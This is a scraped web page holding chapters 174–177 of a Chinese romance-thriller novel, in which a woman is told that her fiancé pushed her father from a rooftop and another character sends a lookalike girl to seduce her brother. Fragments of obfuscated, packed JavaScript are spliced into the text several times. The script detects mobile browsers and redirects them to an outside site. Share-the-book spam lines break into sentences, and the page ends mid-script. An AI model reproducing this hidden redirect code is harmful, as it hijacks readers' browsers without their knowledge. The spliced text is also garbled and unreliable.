d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777668|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红灯的抢救室,“我离开时,他确实在部署应对方案,联系其他股东,准备资产抵押……情绪很稳。” 他抬手将她额前的碎发别到耳后,“嫣嫣,你父亲不是会轻易放弃的人。这件事,有蹊跷。” 明嫣怔怔听着。 是,父亲心性坚韧,商海沉浮几十年,什么风浪没见过? 怎么可能因一次挫败就…… 可为什么偏偏是见了傅修沉之后? 这个念头像毒蛇,冷不丁窜出来,咬得她心口一抽。 她猛地想起他挂断的那个电话,想起他出现在医院时的迅速…… 太巧了,巧得让人心慌。 她嘴唇动了动,想问,那通电话到底还有没有再说 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 了其他的什么? 为什么他刚走,她爸爸就出了意外…… 可话堵在喉咙里,看着他那双深邃沉静的眼,竟一个字也问不出口。 他是傅修沉啊。 是把她捧在手心里,连星星都愿意为她摘的傅修沉。 她怎么能怀疑他? 而就在明嫣胡思乱想之际—— “咔哒。” 抢救室的门,再一次被推开。 这一次,走出来的不再是行色匆匆的护士,而是主刀医生。 他脸上的口罩拉到了下巴,露出那张带着深深疲惫的脸,眼神沉重。 明嫣和苏婉晴几乎是同时从椅子上弹了起来,踉跄着冲过去。 “医生!我爸爸(老公)怎么样了?”两人几乎异口同声地追问。 主治医生抿了抿唇,目光扫过两人,声音沉缓:“伤者的命算是保住了,暂时脱离了生命危险……” 苏婉晴的心下一松,可还没等她松口气。 就听到医生继续说道,每一个字都像冰锥砸在心上:“……但是,因为高处坠落造成的冲击力过大,伤者颅脑……” 他顿了顿,似乎有些不忍,但还是说出了那个残酷的结论:“除非期待奇迹,否则,他醒过来的可能性微乎其微……大概率会陷入长期昏迷状态,也就是……植物人。” 第174章 我知道坠楼真相!(加更求票) “植物……人? 苏婉晴身体猛地一晃,那双已哭得红肿不堪的眼睛难以置信地睁大。 她张了张嘴,喉咙里却只发出一声短促的气音,像是被无形的手扼住了呼吸,随即,身体软软地向后倒去。 “妈——! 就在这时,一双有力的手臂快如闪电地伸了过来,稳稳地托住了苏婉晴下坠的身体。 傅修沉眉头紧锁,打横将失去意识的苏婉晴抱起,沉声对旁边的医生道:“快!看看她! 又是一阵兵荒马乱。 护士冲过来,掐人中,测血压。 明嫣死死抱着母亲软倒的身体,看着医生护士将人安置到移动病床上,推向隔壁病房。 傅修沉揽着她的肩,声音低哑,“去看看伯母吧,这里我看着。 明嫣茫然地转头,看向抢救室。 门还开着,隐约能看到里面忙碌的医护人员,和床上那个被各种管线包围的毫无生气的轮廓。 那是她父亲。 昨天还笑着给她夹菜,意气风发地说要再创辉煌的父亲。 今天却躺在这里,可能永远也醒不过来。 喉咙里涌上腥甜,她强行咽下,指甲深深掐进掌心,留下月牙形的血痕。 “……好。她听到自己嘶哑的声音。 苏婉晴是急火攻心,加上连日忧惧,体力透支导致的昏厥。 用了药,睡一觉便能缓过来。 明嫣守在病床边,看着母亲即使在睡梦中依旧紧蹙的眉头,心头像被无数细针反复穿刺。 窗外天色由浓墨转为灰白,晨曦微露。 她累极了,身心俱疲。 不知何时,趴在床边,昏沉地睡去。 可她睡得并不安稳。 梦里光怪陆离。 一会儿是父亲从高楼坠落,身影不断放大; 一会儿是傅修沉转身离开,背影决绝; 一会儿又是母亲凄厉的哭声…… 她在梦里挣扎,却怎么也醒不过来。 直到—— “嗡……嗡…… 口袋里的手机,持续不断地震动起来,硬生生将她从混沌的梦魇中拽出。 明嫣猛地惊醒,心脏狂跳。 额角抵着冰凉的床沿,留下一片红痕。 她茫然四顾,花了数秒才反应过来身在何处。 母亲还在沉睡,呼吸平 听说看这本书的人都是很幸运的,分享后你的运气会更棒 稳了些。 窗外天已大亮。 手机还在震。 她下意识摸出手机,屏幕亮着刺眼的光。 是一个没有备注的陌生号码发来的短信。 指尖划过屏幕,解锁。 只有一行字,映入眼帘—— 【我知道坠楼真相。】 …… 明嫣盯着那行字,指尖瞬间冰凉。 她几乎是立刻回拨了过去,心脏在胸腔里擂鼓,震得耳膜嗡嗡作响。 电话只响了一声就被接起。 她强迫自己冷静下来,压低了声音,对着话筒那头厉声问道:“你是谁?! 电话那头沉默了许久,久到明嫣甚至以为是个恶作剧。 而就在她想要挂断电话的时候,男人却突然低低地笑了一声,“明小姐,我是陈放。 陈放? 明嫣的呼吸窒了一瞬,大脑有片刻的空白,随即,一个模糊的身影才艰难地从记忆深处浮起—— 大哥明燃的好友,之前她爸妈似乎……还曾试图撮合过她和陈放? 后来…… 后来发生了什么? 她只隐约记得,那次聚餐后,陈放被人打得极惨,鼻青脸肿,断了好几根肋骨,在医院躺了许久。 大哥那时怀疑过傅修沉,而且事后还带她去探望过…… 她当时懵懂,只觉得奇怪,追问过两人的恩怨,却被大哥三言两语含糊带过。 再后来,这个人就渐渐淡出了她的生活,她也再未听大哥提起。 那些被刻意遗忘的的片段,此刻因为这通电话,骤然变得清晰而尖锐。 可是…… 陈放怎么会知道她爸爸坠楼的真相? 而且还挑这种时候联系她? 无数个疑问如同沸腾的气泡,在她混乱的脑海里翻滚。 她用力掐了一下自己的虎口,疼痛让她勉强维持着镇定,“你说你知道我爸爸坠楼的真相? “是。 “你怎么知道的? “我怎么知道的你不用管。陈放的声音冷冽,“信不信由你。但我告诉你,你父亲明庭峰,根本不是自己****的——他是被人从顶楼推下去的! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777669|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “轰——! 明嫣只觉得一股寒气从脚底直窜天灵盖,浑身的血液仿佛都在瞬间冻结,四肢百骸都泛起冰冷的麻意。 被人……推下去的?! 她张了张嘴,可喉咙干涩得发不出一 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 丝的声音。 她之前就有过怀疑,却没想到自己的这个猜测被如此直白的证实,巨大的冲击力让她眼前一阵发黑,几乎有些站不稳。 她猛地扶住冰冷的墙壁,指甲几乎要抠进墙皮里,声音因为极致的震惊和愤怒而颤抖:“是谁……是谁推的他?!” 电话那头陷入了短暂的沉默,只能听到陈放略显粗重的呼吸声。 几秒钟后,那个名字,如同淬了毒的冰锥,从陈放的齿缝间,一字一顿地挤了出来: “是、傅、修、沉。” 时间仿佛在这一刻静止。 医院走廊里消毒水的气味变得无比浓烈,刺鼻得让人作呕。 明嫣握着手机,僵在原地,耳边只剩下陈放那句话反复回荡。 傅修沉…… 推她父亲下楼的人……是傅修沉? 怎么可能?! 荒谬! 这太荒谬了! 明嫣握着手机的指节瞬间绷紧,指甲深深陷进掌心。 “你胡说!”她几乎是脱口而出,声音因为极致的愤怒而微微发颤,“陈放,你知道你在说什么吗?!” 电话那头的陈放似乎早就料到她会是这个反应,发出一声短促而冰冷的嗤笑。 “胡说?明嫣,你以为我为什么偏偏在这个时候联系你?因为我闲得无聊,想看你们明家笑话?” 他的声音陡然拔高,“你知不知道我当时为什么被人打得半死,在医院躺了整整三个月?!肋骨断了四根,脾脏破裂,差点就没命出来!” 她强迫自己冷静,声音里带着毫不掩饰的讥讽:“你想说是傅修沉?就因为这个,所以你编造这种谎言来打击报复?” “报复?”陈放像是听到了天大的笑话,笑声扭曲,“我报复他?我是可怜你!可怜你们明家都被他**于股掌之中!” 他顿了顿,语气陡然变得诡异而阴森,每个字都像毒蛇吐信,钻进明嫣的耳膜,“因为我当年亲眼目睹过——傅修沉他**过你!” 第175章 照片! “轰——! 仿佛一道惊雷在脑海里炸开,明嫣的瞳孔骤然收缩成针尖,大脑一片空白,耳边嗡嗡作响。 **……她? 这怎么可能?! “……你胡说八道!她嘶声反驳,声音却带着连自己都没察觉的颤抖,“我不信!你简直荒谬! “不信?陈放冷笑一声,“那你想想你大哥明燃!他为什么这么多年一直看傅修沉不顺眼?为什么极力反对你们在一起?真以为只是单纯的看他不爽吗?! 明嫣的呼吸骤然停滞。 大哥之前对傅修沉的确是深恶痛绝,几乎是刻在骨子里的厌恶和排斥…… 她一直以为只是性格不合,两人互相看不顺眼…… “他就是因为知道了傅修沉对你做的那些龌龊事!陈放的声音如同淬了毒的**,狠狠扎进她最脆弱的地方。 明嫣死死咬住下唇,口腔里弥漫开浓郁的血腥味,那尖锐的疼痛让她混沌的大脑获得了一丝短暂的清明。 不。 不可能。 如果傅修沉真的…… 大哥怎么可能容忍他到现在? 更不可能眼睁睁地看着她和傅修沉订婚…… 以他的性子,早就该拿刀去跟傅修沉拼命了! 这不合逻辑…… 就在她心念电转之际,陈放的声音再次响起,“明嫣,我知道你一时难以接受。但事实就是事实!这件事明叔也知道……他今天约傅修沉上天台,就是因为这件事…… 爸爸也知道? 明嫣的心脏顿时提到了嗓子眼儿…… 而此时,陈放的语气变得急促而激动,“可我万万没有想到傅修沉竟然丧心病,他竟然因为害怕事情败露,害怕身败名裂就对明叔动手…… “你怎么知道?明嫣冷声打断他。 “因为我当时也在现场……陈放冷笑一声,“我就知道你不会信,幸好……我留了证据。 几乎是在他话音落下的同时—— “嗡…… 明嫣握着的手机屏幕骤然亮起。 一条来自陌生号码的彩信,弹了出来。 明嫣几乎是下意识地点开了那张图片。 图片像素不算太高,像是匆忙间用手机放大焦距拍摄的,画面有些模糊和噪点。 背景是明氏集团顶楼天台熟悉的灰色地面和远处城市的轮廓。 而画面的正中,赫然是两个人! 傅修沉穿着一身挺括的黑 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 色西装,背对着镜头,身姿挺拔。 而他的一只手,正死死地扼在明庭峰的脖颈上! 明庭峰穿着他今天早上的那件深灰色夹克,身体被迫后仰,脊背紧紧抵着天台边缘那低矮的金属围栏,脸上是极度痛苦和挣扎的表情,双手无力地抓挠着傅修沉的手臂! 明嫣的瞳孔骤然收缩成了针尖大小,呼吸在这一刻彻底停滞! 大脑一片空白,只剩下那张照片带来的巨大视觉冲击,如同海啸般摧毁着她所有的认知和信念! 不…… 不是真的…… 傅修沉怎么可能…… 可父亲那痛苦挣扎的表情,那熟悉的天台背景,傅修沉那身她今早才见过的西装…… 一切细节都指向一个她无法接受的答案! “看清楚了吗?陈放阴冷的声音再次从听筒里传来,带着一丝得逞的快意,“这就是证据!铁证如山!傅修沉他就是杀害你父亲的凶手!他这个人卑鄙又龌龊,为了得到你,为了掩盖他过去的罪行,他什么都做得出来! 明嫣死死盯着那张照片,像是要将它盯穿。 巨大的悲痛、愤怒、难以置信…… 种种情绪如同岩浆在她体内奔涌冲撞,几乎要将她撕裂。 然而,就在这灭顶的混乱中,明嫣像是突然发现了什么,眉头微皱地将图片放大,指尖滑过屏幕上傅修沉的背影,划过父亲痛苦的脸,划过那只扼住脖颈的手…… 似是见明嫣许久不说话,陈放不由得眉头微皱,“明小姐? 明嫣这才深吸了一口气,冷声道,“陈放,当**情,是不是你跟我爸说的? 陈放这才满意地轻笑一声,“明小姐果然聪慧,没错,是我告诉明叔的! “为什么?明嫣强迫自己冷静,声音却抑制不住地带着一丝颤抖。 心脏在胸腔里疯狂跳动,一个模糊的计划在她混乱的脑海中初现雏形—— 陈放冷笑一声,那笑声透过电流传来,带着蚀骨的恨意:“为什么?我遭受的这一切,断骨之痛,数月卧床,前途尽毁!我也要让他傅修沉统统体验一遍!身败名裂,众叛亲离!我等这一天,等了太久!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777670|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 明嫣深吸一口气,指甲更深地掐进掌心,“你手里……还有照片吗?应该不止这一张吧? “当然有!陈放语气笃定,“这么重要的证据,我怎么舍得只拍一张? “你在哪儿?我怎么能拿到这些照片?明嫣急声追问,语气带着恰到好处的急切和一丝不易 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 察觉的试探。 “你不用知道我在哪里。”陈放警惕性很高,语气阴冷,“你想要照片,我会发给你。我现在只问你一句,明嫣,你想不想为你父亲报仇?” 想不想报仇? 这句话像一把重锤,狠狠砸在明嫣的心上。 她当然想! 无论父亲坠楼的真相如何,无论这里面藏着多少阴谋,她都要查个水落石出! 而陈放的出现,还有他发给自己的那张照片,都指向一个巨大的陷阱。 她不能被动挨打,必须主动出击,而陈放,就是目前唯一的突破口。 “你想干什么?”明嫣的声音压得很低,带着一种孤注一掷的决绝,这决绝里,七分是演给陈放看,三分是她真实的决心。 陈放似乎对她的反应很满意,低低地笑了一声,那笑声令人毛骨悚然:“到时候你就知道了。记住,别告诉任何人,尤其是傅修沉……否则,你永远别想拿到剩下的证据,也别想为你父亲讨回公道!” 说完,不等明嫣再开口,电话便**脆利落地挂断,听筒里只剩下急促的忙音。 明嫣握着手机,浑身冰凉地靠在冰冷的墙壁上,大脑飞速运转。 “嫣嫣?” 思绪纷乱间,身后传来一道再熟悉不过的嗓音。 明嫣猛地抬头,心脏骤然紧缩。 只见傅修沉提着一个保温袋走了过来,他似乎一夜未眠,眼下有着淡淡的青影,但身姿依旧挺拔,眉眼间的疲惫也难掩那份天生的清隽冷峻。 “怎么脸色这么白?”他下意识地抬手想要触碰的她的脸。 可就在这时,明嫣眼睛的余光却突然瞥见一道熟悉的身影,她几乎下意识地猛地侧头躲开了他的手…… 动作幅度之大,带着毫不掩饰的抗拒。 傅修沉的手僵在半空…… “明嫣……” 只见不远处,霍寒山提着水果篮快步朝这边走来…… 第176章 风雨欲来(二合一大章) 傅修沉的手僵在半空,指尖还残留着她发丝的微凉触感。 他眼底掠过一丝极淡的愕然,快得像是错觉,随即被更深的墨色覆盖。 “明嫣…… 而此时,霍寒山已快步走到近前,敏锐地察觉到了两人之间不同寻常的气氛。 他目光在明嫣的脸上停留一瞬,眉头蹙起,立刻上前一步,不着痕迹地挡在了明嫣与傅修沉之间,“你没事儿吧?我看你脸色不太好…… 明嫣深吸了一口气,冷声道,“我没事儿,多谢霍律师。 霍寒山下意识地动了动唇,他想说她不用跟自己这么客套…… 可转念想起自己如今跟秦婉即将举行婚礼,而明嫣也早就跟傅修沉订了婚,到了嘴边的话到底还是咽了下去。 他不由得深吸了一口气,“伯父这边有什么需要我帮忙的,你尽管开口,只要我能帮得上忙的,我一定尽力而为…… 这话语里的亲昵和维护,让傅修沉的眸光骤然冷了下去。 他视线掠过霍寒山,下颌线微微绷紧,声音不大,说出来的话却像是裹着冰渣儿,砸到地上都带着响儿,“明家的事情有我,不劳霍律师费心。 然而,他话音未落—— “我想一个人静静。 明嫣的声音响起,很轻,却像一把淬了冰的刀子,精准地斩断了他未尽的话语。 她甚至没有看他。 目光低垂,落在光洁却冰冷的地面上,长而密的睫毛像两把小扇子,在眼下投出淡淡的阴影,遮掩住了所有可能泄露的情绪。 唯有那微微抿紧的唇瓣,泄露着一丝强撑的脆弱和……疏离。 傅修沉定定地看着她。 走廊顶灯的光线落在他挺拔的肩头,勾勒出清绝冷隽的轮廓。 他站着没动,只是周身那股原本因她而柔和下来的气息,在瞬间收敛得干干净净,取而代之的是一种近乎凝滞的低气压。 眼尾那颗朱砂痣,红得有些刺目,仿佛凝结的血珠。 “我去看看妈妈醒了没有……明嫣说完,也没等两人开口已然转身离开。 傅修沉定在原地,深邃的目光追随着她的身影,直到消失在病房门后。 他缓缓收回手,**西裤口袋,指节在布料下微微蜷紧。 霍寒山将这一切尽收眼底,心底莫名生出一股扭曲的快意,但更多的是一种物伤其类的涩然。 他上前一步,与傅修沉并肩而立,目光同样望着明嫣离开的方向,语气带着几 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 分低沉,“傅修沉,得到她了就好好珍惜……” 傅修沉侧眸,眼神淡漠如冰霜。 霍寒山扯了扯嘴角,笑容苦涩:“别像我,等失去的时候才追悔莫及……” 他顿了顿,声音低沉下去,带着一丝难以言喻的痛楚,“那时候说什么都晚了……” “不劳霍律师挂心。”傅修沉嗓音清冷地打断他的话,带着拒人千里的疏离,“还轮不到你来教我做事。” 霍寒山不由得皱眉,“傅修沉,你什么意思?你没看见吗?明嫣她现在的状态很不好,你……” 可还没等他说完,傅修沉抬眼看向他,唇角勾起一抹极淡的弧度,那笑意却未达眼底,冷声打断他,“霍律师还是多操心自己的婚事吧,听说,要入赘我们傅家了?” 这话像一根针,精准地扎在了霍寒山的痛处。 他的脸色瞬间变得难看,下颌线绷紧,眼神阴鸷地看向傅修沉。 两个男人的视线在空中交锋,无声的硝烟弥漫开来。 霍寒山被傅修沉那句“入赘”刺得脸色铁青,额角青筋跳动。 他最终什么也没再说,只是用阴鸷的眼神狠狠剜了傅修沉一眼,转身大步离开。 傅修沉甚至连个眼神都未曾扫向他。 霍寒山于他,从来构不成任何威胁,以前是,现在更是。 他此刻所有的心神都系在方才明嫣明显躲闪的动作上…… 他微微蹙了蹙眉,下意识地看了一眼苏婉晴所在的病房方向,想到明嫣方才说‘想一个人静静’,便准备先去医生办公室询问明庭峰后续的治疗方案后再去找她。 然而,他刚抬起脚,口袋里的手机就急促地震动起来。 ——是连续几条信息涌入的提示。 他下意识地顿住脚步,掏出手机,划开屏幕。 当看清信息内容的瞬间,傅修沉瞳孔猛地一缩。 他几乎没有任何犹豫,立刻转身,朝着苏婉晴的房间迈步而去,大衣摆在空中划出一道弧度,连带着背影都带着几分冷冽…… …… 另一边,霍寒山沉着脸坐进驾驶座,猛地摔上车门。 他烦躁地扯开领带,扔在副驾驶座上,胸腔里堵着一团无明火,烧得他五脏六腑都难受。 就在这时,手机如同催命符一般响了起来,屏幕上跳动着“秦婉”两个字。 霍寒山眼底闪过一丝毫不掩饰的厌恶,想也没想就直接挂断。 可对方却不依不饶,再次打了过来。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 他深吸一口气强压下掐断电话的冲动猛地划开接听键声音冷得像冰:“什么事?” 电话那头立刻传来秦婉娇嗲的声音:“寒山~我在玲珑阁吃饭呢东西买太多了拿不动你来接我一下嘛!” 霍寒山额角青筋跳了跳:“你自己没开车?或者叫个代驾。” “不嘛!我就要你来接!” 秦婉开始无理取闹“你要是不来我就告诉梅姨说你欺负我!你忘了梅姨是怎么嘱咐你的?她让你好好照顾我!” 又搬出他母亲王梅。 霍寒山攥着方向盘的手指猛地收紧骨节泛白。 自从他妈知道自己要跟秦婉结婚的消息可谓欢喜地不得了。 尤其得知秦婉竟然是魔都傅家的千金大小姐时哪怕知道他要入赘傅家都毫不犹豫地点头应下极力在促成这件婚事。 明摆着就是认定了秦婉这个未来的儿媳妇! 他死死咬着后槽牙从喉咙里挤出几个字:“地址发我。” 半小时后霍寒山的车停在玲珑阁门口。 这是一家颇有名气的私房菜馆环境雅致私密性极好。 他按照秦婉发来的包厢号沉着脸推门而入。 然而包厢里并非只有秦婉一人。 靠窗的位置轮椅上坐着的那个身影让霍寒山的瞳孔骤然一缩脚步瞬间钉在原地! 傅承平! 他怎么会在这里?! 傅承平似乎早已料到他的到来 他比上次见时更加消瘦脸色是一种不健康的灰白裹着厚重石膏的腿和手臂让他看起来像个破碎后勉强拼凑起来的人偶唯独那双眼睛浑浊深处闪烁着算计的精光像暗处窥伺的毒蛇。 “霍律师来了?”傅承平的声音因伤势而沙哑带着一种令人不适的亲昵。 秦婉立刻像只花蝴蝶般扑过来想要挽住霍寒山的手臂却被他不动声色地避开。 她脸上闪过一丝不快但很快又被得意取代娇声道:“寒山你看谁来了?我b……我二叔特意来看看我们呢!” 霍寒山表情淡然地冲着傅承平微微颔首算是打招呼了。 傅承平仿佛听不出他面上的冷意呵呵一笑示意了一下对面的座位:“坐霍律师别站着说话。都是一家人不用客气。” 霍寒山强忍着拂袖而去的冲动在傅承平对面坐下只是脊背挺得笔直带着戒备。 服 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 务生上了茶,悄无声息地退出去,关紧了包厢门。 傅承平慢悠悠地品着茶,像是闲聊般开口:“听婉儿说,霍律师刚从医院过来?明家那边……哎,真是天有不测风云啊……明庭峰的情况怎么样了?” 霍寒山面无表情,哪怕不想跟他说话,可最基本的礼貌礼节却还是要有的,当即嗓音淡淡道,“明伯父还在昏迷中,情况……不太乐观……” “哦……”傅承平拖长了语调,手指在轮椅扶手上轻轻敲击着,状似无意地问道,“那修沉和明嫣呢?小两口遇到这种事,怕是也焦头烂额吧?没闹什么矛盾?我那侄子的脾气可不怎么好……” 一提到傅修沉,霍寒山不由得冷哼一声,“他确实脾气不好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777671|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明嫣现在都这样了,他竟然还无动于衷。 若是换了他…… 想到这里,霍寒山的胸口涌上一股涩意。 而此时,傅承平眼底的精光却是一闪而过,嘴角几不可察地向上弯了一下。 他端起茶杯,掩饰性地呷了一口,叹道:“是啊,遇到这种事,哪个女孩子受得了?修沉那孩子,性子冷,怕是也不会哄人……小两口闹点别扭,也正常。” 这话像是一根细针,精准地扎进了霍寒山心头最在意的地方。 一股混合着心疼与不甘的涩意涌上,他不由得冷嗤一声,语气带上了几分自己都未察觉的迁怒:“这可不是一句‘不会哄人’就能糊弄过去的……” 傅承平端着茶杯的手几不可察地顿了一下,眼底深处那点精光骤然亮了几分。 他面上却不动声色,甚至轻轻叹了口气,“这么说……两人是真拌嘴了?嫣丫头现在正是需要人依靠的时候,修沉这也太……” 他适时地住了口,留下无限的遐想空间。 霍寒山抿紧了唇,没有说话,显然是默认了。 傅承平嘴角极其细微地向上弯了一下,那弧度快得让人捕捉不到。 他不再追问,而是话锋一转,语重心长地对霍寒山道:“寒山啊,你跟婉儿结婚以后,咱们就是一家人了。” “婉儿这孩子,有时候是娇气了些,但你多担待,好好待她。我们傅家,不会亏待自己人。” 他意味深长地看了霍寒山一眼,“等你们结了婚,家里自然会给你铺路,以你的能力,配上傅家的资源,前途不可限量。” 这番许诺,若是放在以前,心高气傲的霍寒山只会觉得是羞辱。 可如今,他的心里也催生出一股隐秘的野心。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 若他拥有着足以抗衡傅修沉的权利,是不是就有跟他一较高下的机会? 至少不会这么快被踢出局…… 心思纷杂间,霍寒山的喉结滚动了一下,最终只是硬邦邦地应了一声:“谢谢二叔……我知道了。” 傅承平没有多待,又跟霍寒山聊了一会儿就离开了。 等到包间里只剩下两人,霍寒山的脸色彻底沉了下来,冷冷地看向秦婉,“怎么回事儿?你二叔傅承平怎么会在这儿?” 秦婉没好气地瞪他一眼:“你凶什么凶?我二叔怎么就不能在这儿了?他现在是不比从前,但他还是傅家的人!是我亲二叔!他关心我们,来看看怎么了?” “关心?”霍寒山眼神锐利,“眼下傅家的情况还不够明朗吗?你跟他走得太近不是什么好事!?” 秦婉不以为意地撇了撇嘴,随即扬起下巴,“你急什么?谁被踢出局还不一定呢!” 霍寒山敏锐地察觉到了什么,“你这话是什么意思?” “哎呀,你别问了,反正你记住,好戏还在后头!” 霍寒山的眉头微皱,不知怎么,心里腾起一股不详的预感…… …… 与此同时,魔都国际机场。 航班落地,旅客如织。 明燃穿着一件深灰色的长款大衣,身姿挺拔,脸上带着连日奔波留下的疲惫,但眉眼间的冷峻依旧醒目。 他拖着行李箱随手招了辆出租车,报出明家别墅的地址后,他便疲惫地闭上眼,揉了揉胀痛的太阳穴。 眼见着车子缓缓驶出机场,窗外是冬日萧瑟的景色,明燃这才想起来落地后,手机还没有开机。 而就在这时,一抹白色影子飞速地从车窗外掠过。 明燃随之扭头。 只见穿一身白色卫衣长裤的少女骑着一辆共享单车,竟一路从车流旁险险掠过,微风轻拂她的长发,在这冬日里显得格格不入,却又奇异地吸引着人们的视线。 人潮来往,那抹过于洁净的白色成了灰蒙天地间最惹人注目的风景。 明燃蹙眉,正要移开目光,车子却因为前方拥堵减速,几乎与那辆自行车并行。 少女侧脸随之跃入眼前。 而当看清她面庞的明燃,眼皮重重一跳—— 面前这少女竟然跟林晚辞长得几乎一模一样…… 第177章 让明燃喜欢上你! 明燃的视线不由自主地追随过去。 太像了。 不仅仅是五官轮廓,就连眉眼气质都像极了少女时期的林晚辞。 明燃有一瞬间的恍惚,仿佛时光倒流。 而就在他目光停留的这几秒,变故陡生。 一辆试图加塞的黑色轿车后视镜刮擦到了少女单车的车把! “呀!”少女惊呼一声,单车龙头猛地一歪,她踉跄着用脚撑地,才勉强稳住身形,没摔倒在地。 单车前筐里放着的一个帆布包却掉在了地上,里面的书本和一个小巧的保温饭盒滚落出来。 黑色轿车停下,司机是个满脸横肉的中年男人,他降下车窗,非但没有道歉,反而指着少女破口大骂:“长没长眼睛啊?!会不会骑车?撞坏了我的车你赔得起吗?!” 少女脸色瞬间白了,她蹲下身,手忙脚乱地去捡拾散落的东西,嘴唇紧抿,眼眶迅速泛红,像受了惊的小鹿,无助地看向四周,隔着车窗,目光不期然地与明燃的撞了个正着。 然而—— 出租车内,明燃淡漠地收回了视线。 他甚至没有多看她一眼,仿佛刚才那短暂的注视只是无意间的掠过。 前方道路疏通,司机重新踩下油门。 后视镜里,那抹白色身影越来越小,最终消失在车流中。 “看什么看?!没人会帮你!赶紧的,赔钱!”司机的咆哮拉回了她的思绪。 她深吸一口气,强忍着脚踝的疼痛站起来,眼神一点点变得冷硬。 她没有哭诉,也没有争辩,只是拿出手机,冷静地对着刮擦部位和现场拍照,然后直接拨打了报警电话。 “你好,宏昌路与响泉街路口,发生交通事故,轿车司机无故变道剐蹭到我的自行车,现在情绪激动,要求私了,我需要警方介入判定责任。” 她的声音清晰,条理分明,完全不像刚才那个看起来柔弱无助的小姑娘。 司机一看她这架势,嘴里骂骂咧咧了几句,悻悻地上车离开。 而此时,少女走到路边,揉了揉有些微微泛红的脚踝,拿出手机拨了个电话出去。 很快,电话接通,话筒里传来一道慵懒又带着一丝冷意的声音:“怎么样?见到他了?” “见到了。”少女的声音很低,“按照你说的,制造了偶遇……也制造了麻烦……” “他什么反应?” “……他看了一眼,走了。”少女的声音带着一丝不易察觉的委屈。 你的朋友正在书荒,快去帮帮他吧 电话那头沉默了几秒,随即响起一声冷笑,“看来,光靠这张脸,还不足以让他动恻隐之心。唐微微,你给我听好了,机会我给你了,是你自己没把握住。如果不能让明燃喜欢上你,你母亲的医疗费,我一分都不会再支付。 “林小姐!唐微微急声喊道,眼圈瞬间红了,“我妈她等不了了…… “那就想办法!话筒里的声音陡然转冷,“想办法接近他,让他对你感兴趣!否则,你就等着给你妈收尸吧! “啪!电话被挂断。 唐微微握着手机,听着里面的忙音,眼泪终于忍不住大颗滚落。 她死死咬住自己的下唇,几乎要咬出血来。 冬日的寒风穿透她单薄的卫衣,冷得她浑身发抖,却比不上心底的寒意。 她不是没有犹豫过,挣扎过。 用自己的青春和尊严,去赌一个陌生男人的垂怜,换取母亲活命的机会,这交易肮脏又卑劣。 可是,她还有的选择吗? 若是妈妈没有生病,若是手术还没有开始,她或许还能咬着牙另寻他路,哪怕去借**,去****…… 可如今,手术已经进行了一半! 医院催缴后续费用的通知像一道道催命符。 停药,就意味着之前所有的努力前功尽弃,意味着妈妈会被直接推下手术台,意味着…… 死亡。 她除了电话里的女人给的这条路,已经无路可走。 眼泪再一次不受控制地涌上来,却被她狠狠逼了回去。 她抬手,用力抹去脸上的湿痕,指尖冰凉。 不能哭,哭了也没用,这世上没人会心疼她的眼泪。 她蹲下身,默默捡起地上散落的书本和那个已经摔得有些变形的保温饭盒——这里面是她给妈妈熬的粥,如今洒了大半。 她紧紧攥着那个饭盒,金属的冰凉刺痛掌心,却让她混乱的头脑获得了一丝奇异的清醒。 必须接近明燃。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 